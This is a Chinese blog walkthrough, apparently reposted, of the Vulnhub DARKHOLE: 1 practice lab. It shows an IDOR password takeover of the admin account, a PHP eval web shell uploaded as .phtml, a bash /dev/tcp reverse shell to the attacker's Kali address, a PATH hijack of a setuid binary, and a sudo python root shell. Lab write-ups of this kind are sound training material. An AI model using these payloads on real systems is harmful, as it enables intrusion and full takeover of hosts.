Vulnhub之DARKHOLE: 1渗透测试

Posted Big&Bird

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了Vulnhub之DARKHOLE: 1渗透测试相关的知识,希望对你有一定的参考价值。

1、靶机概述

Description
Difficulty: Easy

It’s a box for beginners, but not easy, Good Luck

Hint: Don’t waste your time For Brute-Force
链接: 靶机下载地址.
KALI:192.168.110.128
靶机:192.168.110.136

2、信息收集

首先把靶机的IP给扫出来

接着扫描一波端口和服务

靶机开启22和80端口,毫无疑问,先访问一下80端口,显示为一个站点。

查看页面和审计页面源码,并没有发现关键信息。
点击login,进入登录页面

靶机描述中已经告诉我们不要使用暴力破解,不过可以注册一个账号。点击sign up now,然后注册一个账号(test01:123456)。

注册成功后,登录进去系统。

仅有更新个人信息和密码功能。

3、越权操作

更新一下密码,并使用BP抓包。

尝试是否存在越权操作漏洞,修改参数id=1

事实证明,存在越权操作漏洞,且我们已经修改了id=1的账户(admin)的密码为111111。

使用管理员账户(admin:111111)登录系统,多了一个文件上传功能。

4、文件上传获取shell

首先上传一个php文件,内容为

<?php @eval($_POST[cmd]);?)>

但是报错了,猜测做了黑名单检测。

将后缀名改为.phtml,再次上传,上传成功,且暴露了上传路径。

使用蚁剑连接,获取到shell

5、反弹shell至kali

下一步,我们反弹shell至kali
新建文件xxx.sh,并赋予执行权限,内容为

#!/bin/bash
bash -i >& /dev/tcp/192.168.110.128/7788 0>&1

kali上开启nc监听,在蚁剑终端执行xxx.sh,反弹shell成功。

目前,我们获得的权限还比较低,下一步,开始提权

查看/etc/passwd,可知,我们要先提权到john或darkhole

在/var/www/html/config目录下存在数据库连接文件

在/home/john目录下发现toto二进制文件具有s权限

这个toto文件是"id"的副本文件,运行发现toto文件的结果是用john的身份执行了id命令

6、获取john用户shell

我们可以尝试利用这个特性,在本地编辑新的id文件,写入/bin/bash,给执行权限。然后将文件路径写入到原有环境变量前(从前往后顺序匹配),这样使用id命令时就会优先匹配此路径下的id文件,运行toto文件使用john身份调用id命令时就会获得shell

echo '/bin/bash' > /tmp/id;chmod +x /tmp/id;export PATH=/tmp:$PATH


在user.txt中找到flag,在password中找到密码root123

登录john账户

7、获取root权限

下一步,就是提权到root,首先搜一下具有sodo权限的命令

用户可以编辑并执行root权限的python 脚本。

那我们将获取shell的命令加入到python脚本中再去执行就可以获得root权限了

echo 'import os;os.system("/bin/bash")' > file.py
sudo python3 /home/john/file.py

以上是关于Vulnhub之DARKHOLE: 1渗透测试的主要内容,如果未能解决你的问题,请参考以下文章

Vulnhub_Darkhole_2

Vulnhub_Darkhole_2

Vulnhub靶机渗透测试实战:入门DC-1靶机完全渗透

VulnHub渗透测试实战靶场 - Odin:1

VulnHub渗透测试实战靶场 - NULLY CYBERSECURITY: 1

VulnHub渗透测试实战靶场 - DevContainer:1